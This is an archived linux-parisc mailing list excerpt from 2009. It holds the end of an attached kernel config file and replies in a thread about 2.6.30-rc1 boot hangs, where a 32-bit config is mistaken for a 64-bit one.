CONFIG_USB_SERIAL_KEYSPAN_USA28X=y
CONFIG_USB_SERIAL_KEYSPAN_USA28XA=y
CONFIG_USB_SERIAL_KEYSPAN_USA28XB=y
CONFIG_USB_SERIAL_KEYSPAN_USA19=y
CONFIG_USB_SERIAL_KEYSPAN_USA18X=y
CONFIG_USB_SERIAL_KEYSPAN_USA19W=y
CONFIG_USB_SERIAL_KEYSPAN_USA19QW=y
CONFIG_USB_SERIAL_KEYSPAN_USA19QI=y
CONFIG_USB_SERIAL_KEYSPAN_USA49W=y
CONFIG_USB_SERIAL_KEYSPAN_USA49WLC=y
CONFIG_USB_SERIAL_KLSI=m
CONFIG_USB_SERIAL_KOBIL_SCT=m
CONFIG_USB_SERIAL_MCT_U232=m
CONFIG_USB_SERIAL_MOS7720=m
CONFIG_USB_SERIAL_MOS7840=m
# CONFIG_USB_SERIAL_MOTOROLA is not set
CONFIG_USB_SERIAL_NAVMAN=m
CONFIG_USB_SERIAL_PL2303=m
CONFIG_USB_SERIAL_OTI6858=m
# CONFIG_USB_SERIAL_QUALCOMM is not set
# CONFIG_USB_SERIAL_SPCP8X5 is not set
CONFIG_USB_SERIAL_HP4X=m
CONFIG_USB_SERIAL_SAFE=m
CONFIG_USB_SERIAL_SAFE_PADDED=y
# CONFIG_USB_SERIAL_SIEMENS_MPI is not set
CONFIG_USB_SERIAL_SIERRAWIRELESS=m
# CONFIG_USB_SERIAL_SYMBOL is not set
CONFIG_USB_SERIAL_TI=m
CONFIG_USB_SERIAL_CYBERJACK=m
CONFIG_USB_SERIAL_XIRCOM=m
CONFIG_USB_SERIAL_OPTION=m
CONFIG_USB_SERIAL_OMNINET=m
# CONFIG_USB_SERIAL_OPTICON is not set
# CONFIG_USB_SERIAL_DEBUG is not set

#
# USB Miscellaneous drivers
#
CONFIG_USB_EMI62=m
CONFIG_USB_EMI26=m
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
CONFIG_USB_RIO500=m
CONFIG_USB_LEGOTOWER=m
CONFIG_USB_LCD=m
# CONFIG_USB_BERRY_CHARGE is not set
CONFIG_USB_LED=m
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
CONFIG_USB_TEST=y
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_VST is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
CONFIG_MMC=m
# CONFIG_MMC_DEBUG is not set
# CONFIG_MMC_UNSAFE_RESUME is not set

#
# MMC/SD/SDIO Card Drivers
#
CONFIG_MMC_BLOCK=m
CONFIG_MMC_BLOCK_BOUNCE=y
# CONFIG_SDIO_UART is not set
# CONFIG_MMC_TEST is not set

#
# MMC/SD/SDIO Host Controller Drivers
#
CONFIG_MMC_SDHCI=m
# CONFIG_MMC_SDHCI_PCI is not set
CONFIG_MMC_TIFM_SD=m
# CONFIG_MMC_SDRICOH_CS is not set
# CONFIG_MEMSTICK is not set
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=m

#
# LED drivers
#
# CONFIG_LEDS_PCA9532 is not set
# CONFIG_LEDS_LP5521 is not set
# CONFIG_LEDS_PCA955X is not set
# CONFIG_LEDS_BD2802 is not set

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
CONFIG_LEDS_TRIGGER_TIMER=y
# CONFIG_LEDS_TRIGGER_IDE_DISK is not set
CONFIG_LEDS_TRIGGER_HEARTBEAT=y
# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set
# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
CONFIG_UIO=y
CONFIG_UIO_CIF=m
# CONFIG_UIO_PDRV is not set
# CONFIG_UIO_PDRV_GENIRQ is not set
# CONFIG_UIO_SMX is not set
# CONFIG_UIO_AEC is not set
# CONFIG_UIO_SERCOS3 is not set
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
# CONFIG_EXT2_FS_SECURITY is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
# CONFIG_EXT3_FS_SECURITY is not set
CONFIG_EXT4_FS=y
# CONFIG_EXT4DEV_COMPAT is not set
CONFIG_EXT4_FS_XATTR=y
CONFIG_EXT4_FS_POSIX_ACL=y
# CONFIG_EXT4_FS_SECURITY is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_FILE_LOCKING=y
# CONFIG_XFS_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
CONFIG_AUTOFS4_FS=y
CONFIG_FUSE_FS=m

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
CONFIG_NTFS_FS=m
# CONFIG_NTFS_DEBUG is not set
# CONFIG_NTFS_RW is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
CONFIG_HFS_FS=m
CONFIG_HFSPLUS_FS=m
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
CONFIG_CRAMFS=m
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
# CONFIG_NFS_V3_ACL is not set
CONFIG_NFS_V4=y
CONFIG_NFSD=m
# CONFIG_NFSD_V3 is not set
# CONFIG_NFSD_V4 is not set
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_RPCSEC_GSS_KRB5=m
# CONFIG_RPCSEC_GSS_SPKM3 is not set
CONFIG_SMB_FS=m
# CONFIG_SMB_NLS_DEFAULT is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
# CONFIG_ACORN_PARTITION is not set
# CONFIG_OSF_PARTITION is not set
# CONFIG_AMIGA_PARTITION is not set
# CONFIG_ATARI_PARTITION is not set
# CONFIG_MAC_PARTITION is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_BSD_DISKLABEL is not set
# CONFIG_MINIX_SUBPARTITION is not set
# CONFIG_SOLARIS_X86_PARTITION is not set
# CONFIG_UNIXWARE_DISKLABEL is not set
# CONFIG_LDM_PARTITION is not set
# CONFIG_SGI_PARTITION is not set
# CONFIG_ULTRIX_PARTITION is not set
# CONFIG_SUN_PARTITION is not set
# CONFIG_KARMA_PARTITION is not set
CONFIG_EFI_PARTITION=y
# CONFIG_SYSV68_PARTITION is not set
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=y
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
CONFIG_NLS_CODEPAGE_1250=m
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=m
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=y
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=y
# CONFIG_DLM is not set

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
CONFIG_MAGIC_SYSRQ=y
# CONFIG_UNUSED_SYMBOLS is not set
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_KERNEL is not set
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_LATENCYTOP is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_SAMPLES is not set

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_DEBUG_PROC_KEYS=y
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
# CONFIG_CRYPTO_FIPS is not set
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=m
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_WORKQUEUE=y
CONFIG_CRYPTO_CRYPTD=m
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=m
CONFIG_CRYPTO_GCM=m
CONFIG_CRYPTO_SEQIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CTR=m
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=y
CONFIG_CRYPTO_LRW=m
CONFIG_CRYPTO_PCBC=m
CONFIG_CRYPTO_XTS=m

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=m
CONFIG_CRYPTO_XCBC=m

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=m
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=y
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_CAMELLIA=m
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=m
CONFIG_CRYPTO_FCRYPT=m
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
CONFIG_CRYPTO_SEED=m
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
CONFIG_CRYPTO_LZO=m

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
CONFIG_CRC7=m
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=m
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y

--/9DWx/yDrRhgMJTb--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.30-rc1 hangs on boot
Date: Mon, 13 Apr 2009 07:53:39 +0400
Lines: 20
Approved: news@gmane.org
Message-ID: <a4423d670904122053y7fb79af7tb29f324726e2c7e7@mail.gmail.com>
References: <20090411114219.GA14981@mayall.koti>
	 <20090413020626.GA13090@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239594831 9349 80.91.229.12 (13 Apr 2009 03:53:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 03:53:51 +0000 (UTC)
Cc: jukka.taimisto@iki.fi, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 05:55:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtDGH-00055k-Rs
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 05:55:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753434AbZDMDxm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Apr 2009 23:53:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753562AbZDMDxm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Apr 2009 23:53:42 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:54246 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753434AbZDMDxl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Apr 2009 23:53:41 -0400
Original-Received: by ewy9 with SMTP id 9so1953984ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 12 Apr 2009 20:53:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=DSfsjm6WAQszVwhomZ2pGOlFNZPQTn8t2NxJml+O3XQ=;
        b=cDd5Ssi/1H8YNCDlbrfi+qGBDkG79AxlQ7ruZ4Ccqm4cRE0G8+CB0H/k6rIh+h1s6y
         2d/3Gw9mjnJo8ZMaEOLW0x2P2QoRZpVpgeF6PU/RRHE2hrCrtEsTVOvJ2iVHtE5hhABQ
         5sfgy5J18gvrCTphZIefiR9l0QKtL3zohVpwE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=vsydv0xeJYR7T00MoIks8+ENdYBO3oN+YFSRoInfc+SjgBzapF8C+F/qgdiNvAugQT
         u4QxY+9AYYGJMSMf1e2kGqP4lm2bb5+QpkRPiIeBBNTj0O2ktJVfPeYI47mYewSFqKKl
         ZU+Fh81imVBA2DkP8PxVcR1WGdl1WP38aSJIY=
Original-Received: by 10.210.42.13 with SMTP id p13mr3183121ebp.53.1239594819759; Sun, 
	12 Apr 2009 20:53:39 -0700 (PDT)
In-Reply-To: <20090413020626.GA13090@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1502>

2009/4/13 Grant Grundler <grundler@parisc-linux.org>:
> On Sat, Apr 11, 2009 at 02:42:19PM +0300, Jukka Taimisto wrote:
>> Hi,
>>
>> It seems that almost every other boot with 2.6.30-rc1 my HP c3700 with
>> single PA8700 (PCX-W2) 750MHz cpu hangs with following printed on serial
>> console:
>
> Another data point:
> I tried 2.6.30-rc1-b5 (UP, 64-bit) and that booted on "model 9000/785/J6000"
> both times that I tried. Config file is attached.

Hi Grant,
# CONFIG_64BIT is not set
in your config
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.30-rc1 hangs on boot
Date: Sun, 12 Apr 2009 23:04:18 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20090413050418.GD13090@lackof.org>
References: <20090411114219.GA14981@mayall.koti> <20090413020626.GA13090@lackof.org> <a4423d670904122053y7fb79af7tb29f324726e2c7e7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239599094 16279 80.91.229.12 (13 Apr 2009 05:04:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 05:04:54 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, jukka.taimisto@iki.fi,
	linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 07:06:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtEMd-0001Vg-Qq
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 07:05:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752167AbZDMFEU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 01:04:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753434AbZDMFEU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 01:04:20 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:54274 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752167AbZDMFET (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 01:04:19 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 1F0671E1213F;
	Sun, 12 Apr 2009 23:04:19 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id j4ntgxcIGWhF; Sun, 12 Apr 2009 23:04:18 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id B34C71E1213B; Sun, 12 Apr 2009 23:04:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <a4423d670904122053y7fb79af7tb29f324726e2c7e7@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1503>

On Mon, Apr 13, 2009 at 07:53:39AM +0400, Alexander Beregalov wrote:
> 2009/4/13 Grant Grundler <grundler@parisc-linux.org>:
> > On Sat, Apr 11, 2009 at 02:42:19PM +0300, Jukka Taimisto wrote:
> >> Hi,
> >>
> >> It seems that almost every other boot with 2.6.30-rc1 my HP c3700 with
> >> single PA8700 (PCX-W2) 750MHz cpu hangs with following printed on serial
> >> console:
> >
> > Another data point:
> > I tried 2.6.30-rc1-b5 (UP, 64-bit) and that booted on "model 9000/785/J6000"
> > both times that I tried. Config file is attached.
> 
> Hi Grant,
> # CONFIG_64BIT is not set
> in your config

Oopps....my bad. Sorry. That's obviously a 32-bit kernel.
I must have checked uname output on the wrong machine. :(

thanks for catching that,
grant

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.30-rc1 hangs on boot
Date: Mon, 13 Apr 2009 14:26:33 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <1239632793.3278.18.camel@mulgrave.int.hansenpartnership.com>
References: <20090411114219.GA14981@mayall.koti>
	 <20090413020626.GA13090@lackof.org>
	 <a4423d670904122053y7fb79af7tb29f324726e2c7e7@mail.gmail.com>
	 <20090413050418.GD13090@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239632807 838 80.91.229.12 (13 Apr 2009 14:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 14:26:47 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>, jukka.taimisto@iki.fi,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 16:28:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtN8j-0008O7-7A
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 16:28:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751705AbZDMO0d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 10:26:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751984AbZDMO0d
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 10:26:33 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42607 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751705AbZDMO0c (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 10:26:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 49EEE8EE1C1;
	Mon, 13 Apr 2009 07:26:32 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MkGyVMpdlaMx; Mon, 13 Apr 2009 07:26:32 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AC5B68EE02F;
	Mon, 13 Apr 2009 07:26:31 -0700 (PDT)
